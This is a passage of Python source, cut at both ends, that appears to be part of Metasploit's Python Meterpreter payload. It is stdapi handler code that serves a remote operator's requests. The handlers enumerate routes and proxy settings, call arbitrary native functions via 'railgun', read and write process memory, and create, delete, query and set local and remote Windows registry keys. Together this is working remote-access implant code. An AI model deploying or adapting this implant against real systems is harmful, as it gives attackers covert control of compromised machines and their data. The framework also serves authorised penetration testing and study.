    elif sys.platform == 'darwin':
        routes = stdapi_net_config_get_routes_via_osx_netstat()
    elif has_windll:
        routes = stdapi_net_config_get_routes_via_windll()
    else:
        return ERROR_FAILURE, response
    for route_info in routes:
        route_tlv  = bytes()
        route_tlv += tlv_pack(TLV_TYPE_SUBNET, route_info['subnet'])
        route_tlv += tlv_pack(TLV_TYPE_NETMASK, route_info['netmask'])
        route_tlv += tlv_pack(TLV_TYPE_GATEWAY, route_info['gateway'])
        route_tlv += tlv_pack(TLV_TYPE_STRING, route_info['iface'])
        route_tlv += tlv_pack(TLV_TYPE_ROUTE_METRIC, route_info.get('metric', 0))
        response += tlv_pack(TLV_TYPE_NETWORK_ROUTE, route_tlv)
    return ERROR_SUCCESS, response

def stdapi_net_config_get_routes_via_netlink():
    rta_align = lambda l: l+3 & ~3
    responses = netlink_request(RTM_GETROUTE, RTMSG(family=socket.AF_UNSPEC))
    routes = []
    for res_data in responses:
        rtmsg = ctstruct_unpack(RTMSG, res_data)
        cursor = rta_align(ctypes.sizeof(RTMSG))
        route = {'table': rtmsg.table}
        if rtmsg.family == socket.AF_INET:
            route['gateway'] = route['subnet'] = inet_pton(socket.AF_INET, '0.0.0.0')
            route['netmask'] = calculate_32bit_netmask(rtmsg.dst_len)
        elif rtmsg.family == socket.AF_INET6:
            route['gateway'] = route['subnet'] = inet_pton(socket.AF_INET6, '::')
            route['netmask'] = calculate_128bit_netmask(rtmsg.dst_len)
        else:
          continue
        while cursor < len(res_data):
            attribute = ctstruct_unpack(RTATTR, res_data[cursor:])
            at_len = attribute.len
            attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
            cursor += rta_align(at_len)
            if attribute.type == RTA_DST:
                route['subnet'] = attr_data
            if attribute.type == RTA_GATEWAY:
                route['gateway'] = attr_data
            elif attribute.type == RTA_TABLE:
                route['table'] = struct.unpack('<I', attr_data)[0]
            elif attribute.type == RTA_OIF:
                route['iface'] = _linux_if_indextoname(struct.unpack('<I', attr_data)[0])
            elif attribute.type == RTA_PRIORITY:
                route['metric'] = struct.unpack('<I', attr_data)[0]
        if route['table'] != RT_TABLE_MAIN:
            continue
        routes.append(route)
    return routes

def stdapi_net_config_get_routes_via_osx_netstat():
    proc_h = subprocess.Popen(['/usr/sbin/netstat', '-rn'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    if proc_h.wait():
        raise Exception('netstat exited with non-zero status')
    output = proc_h.stdout.read()

    routes = []
    state = None
    has_refs = None
    for line in output.split('\n'):
        line = line.strip()
        if state is None:
            if line == 'Internet:':
                state = socket.AF_INET
            elif line == 'Internet6:':
                state = socket.AF_INET6
            continue
        words = line.split()
        if len(words) < 4:
            state = None
            has_refs = None
            continue
        if words[0].lower() == 'destination':
            if len(words) > 5 and words[3].lower() == 'refs':
                has_refs = True
            continue
        destination, gateway, flags, iface = words[:4]
        if has_refs:
            iface = words[5]
        if state == socket.AF_INET:
            all_nets = '0.0.0.0/0'
            bits = 32
            calc_netmask = calculate_32bit_netmask
        elif state == socket.AF_INET6:
            all_nets = '::/0'
            bits = 128
            calc_netmask = calculate_128bit_netmask
        else:
            continue
        if destination == 'default':
            destination = all_nets
        if re.match('link#\d+', gateway) or re.match('([0-9a-f]{1,2}:){5}[0-9a-f]{1,2}', gateway):
            gateway = all_nets[:-2]
        if '/' in destination:
            destination, netmask_bits = destination.rsplit('/', 1)
            netmask_bits = int(netmask_bits)
        else:
            netmask_bits = bits
        if '%' in destination:
            destination, _ = destination.rsplit('%', 1)
        if '%' in gateway:
            gateway, _ = gateway.rsplit('%', 1)
        if state == socket.AF_INET:
            while destination.count('.') < 3:
                destination += '.0'
        routes.append({
            'subnet': inet_pton(state, destination),
            'netmask': calc_netmask(netmask_bits),
            'gateway': inet_pton(state, gateway),
            'metric': 0,
            'iface': iface
        })
    return routes

def stdapi_net_config_get_routes_via_windll():
    iphlpapi = ctypes.windll.iphlpapi
    if not hasattr(iphlpapi, 'GetIpForwardTable2'):  # added in Vista / 2008
        return stdapi_net_config_get_routes_via_windll2()
    routes = []
    iface_names = {}
    for iface in stdapi_net_config_get_interfaces_via_windll():
        iface_names[iface['index']] = iface['name']
    for family in [WIN_AF_INET, WIN_AF_INET6]:
        table = PMIB_IPFORWARD_TABLE2()
        if iphlpapi.GetIpForwardTable2(family, ctypes.byref(table)):
            continue
        table = table.contents
        rows = ctypes.cast(table.Table, PMIB_IPFORWARD_ROW2)
        for index in range(table.NumEntries):
            row = rows[index]
            route = {}
            if family == WIN_AF_INET:
                route['subnet'] = ctarray_to_bytes(row.DestinationPrefix.Prefix.Ipv4.sin_addr)
                route['netmask'] = calculate_32bit_netmask(row.DestinationPrefix.PrefixLength)
                route['gateway'] = ctarray_to_bytes(row.NextHop.Ipv4.sin_addr)
            elif family == WIN_AF_INET6:
                route['subnet'] = ctarray_to_bytes(row.DestinationPrefix.Prefix.Ipv6.sin6_addr)
                route['netmask'] = calculate_128bit_netmask(row.DestinationPrefix.PrefixLength)
                route['gateway'] = ctarray_to_bytes(row.NextHop.Ipv6.sin6_addr)
            iface = MIB_IPINTERFACE_ROW(Family=family, InterfaceIndex=row.InterfaceIndex)
            if iphlpapi.GetIpInterfaceEntry(ctypes.byref(iface)):
                continue
            route['metric'] = row.Metric + iface.Metric
            route['iface'] = iface_names.get(row.InterfaceIndex, str(row.InterfaceIndex))
            routes.append(route)
    return routes

def stdapi_net_config_get_routes_via_windll2():
    iphlpapi = ctypes.windll.iphlpapi
    routes = []
    iface_names = {}
    for iface in stdapi_net_config_get_interfaces_via_windll():
        iface_names[iface['index']] = iface['name']
    size = ctypes.c_uint32(0)
    table = MIB_IPFORWARDTABLE()
    iphlpapi.GetIpForwardTable(ctypes.byref(table), ctypes.byref(size), False)
    if size.value:
        buffer = (ctypes.c_uint8 * size.value)()
        table = ctypes.cast(buffer, PMIB_IPFORWARDTABLE).contents
        iphlpapi.GetIpForwardTable(ctypes.byref(table), ctypes.byref(size), False)
        rows = ctypes.cast(table.table, PMIB_IPFORWARDROW)
        for index in range(table.dwNumEntries):
            row = rows[index]
            routes.append({
                'subnet': struct.pack('<I', row.dwForwardDest),
                'netmask': struct.pack('<I', row.dwForwardMask),
                'gateway': struct.pack('<I', row.dwForwardNextHop),
                'metric': row.dwForwardMetric1,
                'iface': iface_names.get(row.dwForwardIfIndex, str(row.dwForwardIfIndex))
            })
    return routes

@register_function_if(has_windll)
def stdapi_net_config_get_proxy(request, response):
    winhttp = ctypes.windll.winhttp
    proxy_config = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()
    if not winhttp.WinHttpGetIEproxy_configForCurrentUser(ctypes.byref(proxy_config)):
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_PROXY_CFG_AUTODETECT, proxy_config.fAutoDetect)
    if proxy_config.lpszAutoConfigUrl:
        response += tlv_pack(TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxy_config.lpszAutoConfigUrl)
    if proxy_config.lpszProxy:
        response += tlv_pack(TLV_TYPE_PROXY_CFG_PROXY, proxy_config.lpszProxy)
    if proxy_config.lpszProxyBypass:
        response += tlv_pack(TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxy_config.lpszProxyBypass)
    return ERROR_SUCCESS, response

@register_function
def stdapi_net_resolve_host(request, response):
    hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
    family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
    if family == WIN_AF_INET:
        family = socket.AF_INET
    elif family == WIN_AF_INET6:
        family = socket.AF_INET6
    else:
        raise Exception('invalid family')
    result = resolve_host(hostname, family)
    response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
    response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
    return ERROR_SUCCESS, response

@register_function
def stdapi_net_resolve_hosts(request, response):
    family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
    if family == WIN_AF_INET:
        family = socket.AF_INET
    elif family == WIN_AF_INET6:
        family = socket.AF_INET6
    else:
        raise Exception('invalid family')
    for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME):
        hostname = hostname['value']
        try:
            result = resolve_host(hostname, family)
        except socket.error:
            result = {'family':family, 'packed_address':''}
        response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
        response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
    return ERROR_SUCCESS, response

@register_function
def stdapi_net_socket_tcp_shutdown(request, response):
    channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
    how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
    channel = meterpreter.channels[channel_id]
    channel.sock.shutdown(how)
    return ERROR_SUCCESS, response

def _linux_get_maps():
    maps = []
    lines = open('/proc/' + str(os.getpid()) + '/maps', 'r')
    for line in lines:
        region = dict(zip(
            ('address', 'perms', 'offset', 'dev', 'inode', 'pathname'),
            line.split(' ', 5)
        ))
        region['address-start'], region['address-end'] = region.pop('address').split('-')
        region['address-start'] = int(region['address-start'], 16)
        region['address-end'] = int(region['address-end'], 16)
        region['inode'] = int(region['inode'])
        region['offset'] = int(region['offset'], 16)
        region['pathname'] = region['pathname'].strip()
        region['size'] = region['address-end'] - region['address-start']
        maps.append(region)
    return maps

def _linux_check_maps(address, size, perms=''):
    perms = perms.lower()
    maps = _linux_get_maps()

    cursor = address
    address += size
    while cursor < address:
        for region in maps:
            if region['address-start'] <= cursor < region['address-end']:
                break
        else:
            return False
        for perm in perms:
            if perm == '-':
                continue
            if not perm in region['perms']:
                return False
        if cursor + size < region['address-end']:
            break
        size -= region['address-end'] - cursor
        cursor = region['address-end']
    return True

def _linux_if_indextoname(index):
    name = (ctypes.c_char * 256)()
    if libc.if_indextoname(index, name):
        return name.value.decode('ascii')

def _linux_memread(address, size):
    if not hasattr(libc, 'process_vm_readv'):
        # requires linux 3.2+ / glibc 2.15+, see:
        # http://man7.org/linux/man-pages/man2/process_vm_readv.2.html#VERSIONS
        raise RuntimeError('process_vm_readv is unavailable')
    if not _linux_check_maps(address, size, perms='r'):
        raise RuntimeError('invalid permissions')
    buff = (ctypes.c_byte * size)()
    local_iov = IOVEC(iov_base=ctypes.cast(buff, ctypes.c_void_p), iov_len=size)
    remote_iov = IOVEC(iov_base=address, iov_len=size)
    result = libc.process_vm_readv(
        os.getpid(),
        ctypes.byref(local_iov),
        1,
        ctypes.byref(remote_iov),
        1,
        0
    )
    if result == -1:
        raise RuntimeError('operation failed')
    return ctarray_to_bytes(buff)

def _linux_memwrite(address, data):
    if not hasattr(libc, 'process_vm_writev'):
        # requires linux 3.2+ / glibc 2.15+, see:
        # http://man7.org/linux/man-pages/man2/process_vm_writev.2.html#VERSIONS
        raise RuntimeError('process_vm_writev is unavailable')
    size = len(data)
    if not _linux_check_maps(address, size, perms='w'):
        raise RuntimeError('invalid permissions')
    buff = bytes_to_ctarray(data)
    local_iov = IOVEC(iov_base=ctypes.cast(buff, ctypes.c_void_p), iov_len=size)
    remote_iov = IOVEC(iov_base=address, iov_len=size)
    result = libc.process_vm_writev(
        os.getpid(),
        ctypes.byref(local_iov),
        1,
        ctypes.byref(remote_iov),
        1,
        0
    )
    if result == -1:
        raise RuntimeError('operation failed')
    return size

def _osx_memread(address, size):
    task = libc.mach_task_self()
    libc.mach_vm_read.argtypes = [ctypes.c_uint32, size_t, size_t, ctypes.POINTER(ctypes.c_void_p), ctypes.POINTER(ctypes.c_uint32)]
    libc.mach_vm_read.restype = ctypes.c_uint32
    pointer = ctypes.c_void_p()
    out_size = ctypes.c_uint32()
    result = libc.mach_vm_read(task, address, size, ctypes.byref(pointer), ctypes.byref(out_size))
    if result == 1:  # KERN_INVALID_ADDRESS
        raise RuntimeError('invalid address')
    elif result == 2:  # KERN_PROTECTION_FAILURE
        raise RuntimeError('invalid permissions')
    if result != 0 or size != out_size.value:
        raise RuntimeError('operation failed')
    buff = ctypes.cast(pointer, ctypes.POINTER(ctypes.c_byte * out_size.value))
    return ctarray_to_bytes(buff.contents)

def _osx_memwrite(address, data):
    task = libc.mach_task_self()
    libc.mach_vm_write.argtypes = [ctypes.c_uint32, size_t, ctypes.c_void_p, ctypes.c_uint32]
    libc.mach_vm_write.restype = ctypes.c_uint32
    buff = bytes_to_ctarray(data)
    if libc.mach_vm_write(task, address, buff, len(buff)) != 0:
        raise RuntimeError('operation failed')
    return len(buff)

def _win_format_message(source, msg_id):
    EN_US = 0
    msg_flags = 0
    msg_flags |= 0x00000100  # FORMAT_MESSAGE_ALLOCATE_BUFFER
    msg_flags |= 0x00000200  # FORMAT_MESSAGE_IGNORE_INSERTS
    msg_flags |= 0x00000800  # FORMAT_MESSAGE_FROM_HMODULE
    msg_flags |= 0x00001000  # FORMAT_MESSAGE_FROM_SYSTEM
    FormatMessage = ctypes.windll.kernel32.FormatMessageA
    FormatMessage.argtypes = [ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.c_void_p]
    FormatMessage.restype = ctypes.c_uint32
    LocalFree = ctypes.windll.kernel32.LocalFree
    LocalFree.argtypes = [ctypes.c_void_p]

    buff = ctypes.c_char_p()
    if not FormatMessage(msg_flags, source, msg_id, EN_US, ctypes.byref(buff), 0, None):
        return None
    message = buff.value.decode('utf-8').rstrip()
    LocalFree(buff)
    return message

def _win_memread(address, size, handle=-1):
    ReadProcessMemory = ctypes.windll.kernel32.ReadProcessMemory
    ReadProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, size_t, ctypes.POINTER(size_t)]
    buff = (ctypes.c_byte * size)()
    read = size_t()
    result = ReadProcessMemory(handle, address, ctypes.byref(buff), size, ctypes.byref(read))
    if not result:
        return None
    return ctarray_to_bytes(buff)

def _win_memwrite(address, data, handle=-1):
    WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
    WriteProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, size_t, ctypes.POINTER(size_t)]
    size = len(data)
    buff = bytes_to_ctarray(data)
    written = size_t()
    result = WriteProcessMemory(handle, address, ctypes.byref(buff), size, ctypes.byref(written))
    if not result:
        return None
    return written.value

@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_api(request, response):
    size_out = packet_get_tlv(request, TLV_TYPE_RAILGUN_SIZE_OUT)['value']
    stack_blob = packet_get_tlv(request, TLV_TYPE_RAILGUN_STACKBLOB)['value']
    buff_blob_in = packet_get_tlv(request, TLV_TYPE_RAILGUN_BUFFERBLOB_IN)['value']
    buff_blob_inout = packet_get_tlv(request, TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT)['value']
    lib_name = packet_get_tlv(request, TLV_TYPE_RAILGUN_DLLNAME)['value']
    func_name = packet_get_tlv(request, TLV_TYPE_RAILGUN_FUNCNAME)['value']
    call_conv = packet_get_tlv(request, TLV_TYPE_RAILGUN_CALLCONV).get('value', ('stdcall' if has_windll else 'cdecl'))

    buff_blob_in = bytes_to_ctarray(buff_blob_in)
    buff_blob_out = (ctypes.c_byte * size_out)()
    buff_blob_inout = bytes_to_ctarray(buff_blob_inout)

    if ctypes.sizeof(ctypes.c_void_p) == 4:
        native = ctypes.c_uint32
        fmt = 'II'
    elif ctypes.sizeof(ctypes.c_void_p) == 8:
        native = ctypes.c_uint64
        fmt = 'QQ'
    else:
        raise RuntimeError('unknown sizeof(void *)')
    fmt_size = struct.calcsize(fmt)

    if call_conv.lower() == 'cdecl':
        func_type = ctypes.CFUNCTYPE
    elif call_conv.lower() == 'stdcall' and hasattr(ctypes, 'WINFUNCTYPE'):
        func_type = ctypes.WINFUNCTYPE
    else:
        raise ValueError('unknown calling convention')

    call_args = []
    func_args = []
    for pos in range(0, len(stack_blob), fmt_size):
        arg_type, arg = struct.unpack(fmt, stack_blob[pos:pos + fmt_size])
        if arg_type == 0:    # literal
            call_args.append(arg)
            func_args.append(native)
        elif arg_type == 1:  # relative to in
            call_args.append(byref_at(buff_blob_in, arg))
            func_args.append(ctypes.c_void_p)
        elif arg_type == 2:  # relative to out
            call_args.append(byref_at(buff_blob_out, arg))
            func_args.append(ctypes.c_void_p)
        elif arg_type == 3:  # relative to inout
            call_args.append(byref_at(buff_blob_inout, arg))
            func_args.append(ctypes.c_void_p)
        else:
            raise ValueError('unknown argument type: ' + str(arg_type))

    debug_print('[*] railgun calling: ' + lib_name + '!' + func_name)
    prototype = func_type(native, *func_args)
    if sys.platform == 'darwin' or sys.platform.startswith('linux'):
        p_errno = ctypes.cast(libc.errno, ctypes.POINTER(ctypes.c_int))
        errno = p_errno.contents
        last_error = ctypes.c_int(0)
        p_errno.contents = last_error
        func = prototype((func_name, ctypes.CDLL(ctypes.util.find_library(lib_name) or lib_name)))
        result = func(*call_args)
        p_errno.contents = errno
        last_error = last_error.value
        libc.strerror.argtypes = [ctypes.c_int]
        libc.strerror.restype = ctypes.c_char_p
        error_message = libc.strerror(last_error)
    elif has_windll:
        func = prototype((func_name, ctypes.WinDLL(lib_name)))
        result = func(*call_args)
        GetModuleHandle = ctypes.windll.kernel32.GetModuleHandleA
        GetModuleHandle.argtypes = [ctypes.c_char_p]
        GetModuleHandle.restype = ctypes.c_void_p
        lib_handle = GetModuleHandle(bytes(lib_name, 'UTF-8'))
        last_error = ctypes.windll.kernel32.GetLastError()
        error_message = _win_format_message(lib_handle, last_error)
        if error_message is None:
            if last_error == ERROR_SUCCESS:
                error_message = 'The operation completed successfully.'
            else:
                error_message = 'FormatMessage failed to retrieve the error.'
    else:
        raise RuntimeError('unknown platform')

    response += tlv_pack(TLV_TYPE_RAILGUN_BACK_ERR, last_error)
    response += tlv_pack(TLV_TYPE_RAILGUN_BACK_MSG, error_message)
    response += tlv_pack(TLV_TYPE_RAILGUN_BACK_RET, result)
    response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, ctarray_to_bytes(buff_blob_out))
    response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, ctarray_to_bytes(buff_blob_inout))
    return ERROR_SUCCESS, response

@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_api_multi(request, response):
    for group_tlv in packet_enum_tlvs(request, tlv_type=TLV_TYPE_RAILGUN_MULTI_GROUP):
        group_result = stdapi_railgun_api(group_tlv['value'], bytes())[1]
        response += tlv_pack(TLV_TYPE_RAILGUN_MULTI_GROUP, group_result)
    return ERROR_SUCCESS, response

@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_memread(request, response):
    address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
    length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
    debug_print('[*] railgun reading ' + str(length) + ' bytes from 0x' + hex(address))
    if sys.platform.startswith('darwin'):
        result = _osx_memread(address, length)
    elif sys.platform.startswith('linux'):
        result = _linux_memread(address, length)
    elif has_windll:
        result = _win_memread(address, length)
        if result is None:
            return error_result_windows(), response
    else:
        return ERROR_FAILURE, response
    response += tlv_pack(TLV_TYPE_RAILGUN_MEM_DATA, result)
    return ERROR_SUCCESS, response

@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_memwrite(request, response):
    address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
    data = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_DATA)['value']
    length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
    debug_print('[*] railgun writing ' + str(len(data)) + ' bytes to 0x' + hex(address))
    if sys.platform.startswith('darwin'):
        result = _osx_memwrite(address, data)
    elif sys.platform.startswith('linux'):
        result = _linux_memwrite(address, data)
    elif has_windll:
        result = _win_memwrite(address, data)
        if result is None:
            return error_result_windows(), response
    else:
        return ERROR_FAILURE, response
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_close_key(request, response):
    _wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_create_key(request, response):
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
    base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
    base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
    permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
    res_key = ctypes.c_void_p()
    if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) != ERROR_SUCCESS:
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_delete_key(request, response):
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
    base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
    base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
    flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
    if (flags & DELETE_KEY_FLAG_RECURSIVE):
        result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
    else:
        result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
    return result, response

@register_function_if(has_windll)
def stdapi_registry_delete_value(request, response):
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
    value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
    value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
    result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
    return result, response

def _wreg_enum_key(request, response, hkey):
    ERROR_MORE_DATA = 0xea
    ERROR_NO_MORE_ITEMS = 0x0103
    name = (ctypes.c_char * 4096)()
    index = 0
    tries = 0
    while True:
        result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
        if result == ERROR_MORE_DATA:
            if tries > 3:
                break
            name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
            tries += 1
            continue
        elif result == ERROR_NO_MORE_ITEMS:
            result = ERROR_SUCCESS
            break
        elif result != ERROR_SUCCESS:
            break
        tries = 0
        response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
        index += 1
    return result, response

@register_function_if(has_windll)
def stdapi_registry_enum_key(request, response):
    hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
    return _wreg_enum_key(request, response, hkey)

@register_function_if(has_windll)
def stdapi_registry_enum_key_direct(request, response):
    err, hkey = _wreg_open_key(request)
    if err != ERROR_SUCCESS:
        return err, response
    ret = _wreg_enum_key(request, response, hkey)
    _wreg_close_key(hkey)
    return ret

def _wreg_enum_value(request, response, hkey):
    ERROR_MORE_DATA = 0xea
    ERROR_NO_MORE_ITEMS = 0x0103
    name = (ctypes.c_char * 4096)()
    name_sz = ctypes.c_uint32()
    index = 0
    tries = 0
    while True:
        name_sz.value = ctypes.sizeof(name)
        result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
        if result == ERROR_MORE_DATA:
            if tries > 3:
                break
            name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
            tries += 1
            continue
        elif result == ERROR_NO_MORE_ITEMS:
            result = ERROR_SUCCESS
            break
        elif result != ERROR_SUCCESS:
            break
        tries = 0
        response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
        index += 1
    return result, response

@register_function_if(has_windll)
def stdapi_registry_enum_value(request, response):
    hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
    return _wreg_enum_value(request, response, hkey)

@register_function_if(has_windll)
def stdapi_registry_enum_value_direct(request, response):
    err, hkey = _wreg_open_key(request)
    if err != ERROR_SUCCESS:
        return err, response
    ret = _wreg_enum_value(request, response, hkey)
    _wreg_close_key(hkey)
    return ret

@register_function_if(has_windll)
def stdapi_registry_load_key(request, response):
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
    sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
    file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
    result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
    return result, response

def _wreg_close_key(hkey):
    ctypes.windll.advapi32.RegCloseKey(hkey)

def _wreg_open_key(request, permission=None):
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
    root_key_names = {
        winreg.HKEY_CLASSES_ROOT & 0xffffffff: 'HKCR',
        winreg.HKEY_CURRENT_USER & 0xffffffff: 'HKCU',
        winreg.HKEY_LOCAL_MACHINE & 0xffffffff: 'HKLM',
        winreg.HKEY_USERS & 0xffffffff: 'HKU',
        winreg.HKEY_PERFORMANCE_DATA & 0xffffffff: 'HKPD',
        winreg.HKEY_CURRENT_CONFIG & 0xffffffff: 'HKCC'
    }
    root_key_name = root_key_names.get(root_key, 'HK??')
    base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
    debug_print('[*] opening registry key: ' + root_key_name + '\\' + unicode(base_key))
    base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
    if permission is None:
        permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
    handle_id = ctypes.c_void_p()
    result = ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id))
    if result != ERROR_SUCCESS:
        return error_result_windows(result), 0
    return ERROR_SUCCESS, handle_id.value

def _wreg_query_value(request, response, hkey):
    value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
    value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
    value_type = ctypes.c_uint32()
    value_type.value = 0
    value_data = (ctypes.c_ubyte * 4096)()
    value_data_sz = ctypes.c_uint32()
    value_data_sz.value = ctypes.sizeof(value_data)
    result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
    if result == ERROR_SUCCESS:
        response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
        if value_type.value == winreg.REG_SZ:
            response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
        elif value_type.value == winreg.REG_DWORD:
            value = value_data[:4]
            value.reverse()
            if sys.version_info[0] < 3:
                value = ''.join(map(chr, value))
            else:
                value = bytes(value)
            response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
        else:
            response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
        return ERROR_SUCCESS, response
    return error_result_windows(result), response

def _wreg_set_value(request, response, hkey):
    value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
    value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
    value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
    value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
    result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
    if result == ERROR_SUCCESS:
        return ERROR_SUCCESS, response
    return error_result_windows(result), response

@register_function_if(has_windll)
def stdapi_registry_check_key_exists(request, response):
    err, hkey = _wreg_open_key(request, permission=winreg.KEY_QUERY_VALUE)
    if err == ERROR_SUCCESS:
        _wreg_close_key(hkey)
        response += tlv_pack(TLV_TYPE_BOOL, True)
    else:
        response += tlv_pack(TLV_TYPE_BOOL, False)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_open_key(request, response):
    err, hkey = _wreg_open_key(request)
    if err != ERROR_SUCCESS:
        return err, response
    response += tlv_pack(TLV_TYPE_HKEY, hkey)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_open_remote_key(request, response):
    target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
    result_key = ctypes.c_void_p()
    if ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) != ERROR_SUCCESS:
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_query_class(request, response):
    hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
    value_data = (ctypes.c_char * 4096)()
    value_data_sz = ctypes.c_uint32()
    value_data_sz.value = ctypes.sizeof(value_data)
    if ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) != ERROR_SUCCESS:
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_query_value(request, response):
    hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
    return _wreg_query_value(request, response, hkey)

@register_function_if(has_windll)
def stdapi_registry_query_value_direct(request, response):
    err, hkey = _wreg_open_key(request)
    if err != ERROR_SUCCESS:
        return error_result_windows(err), response
    ret = _wreg_query_value(request, response, hkey)
    _wreg_close_key(hkey)
    return ret

@register_function_if(has_windll)
def stdapi_registry_set_value(request, response):
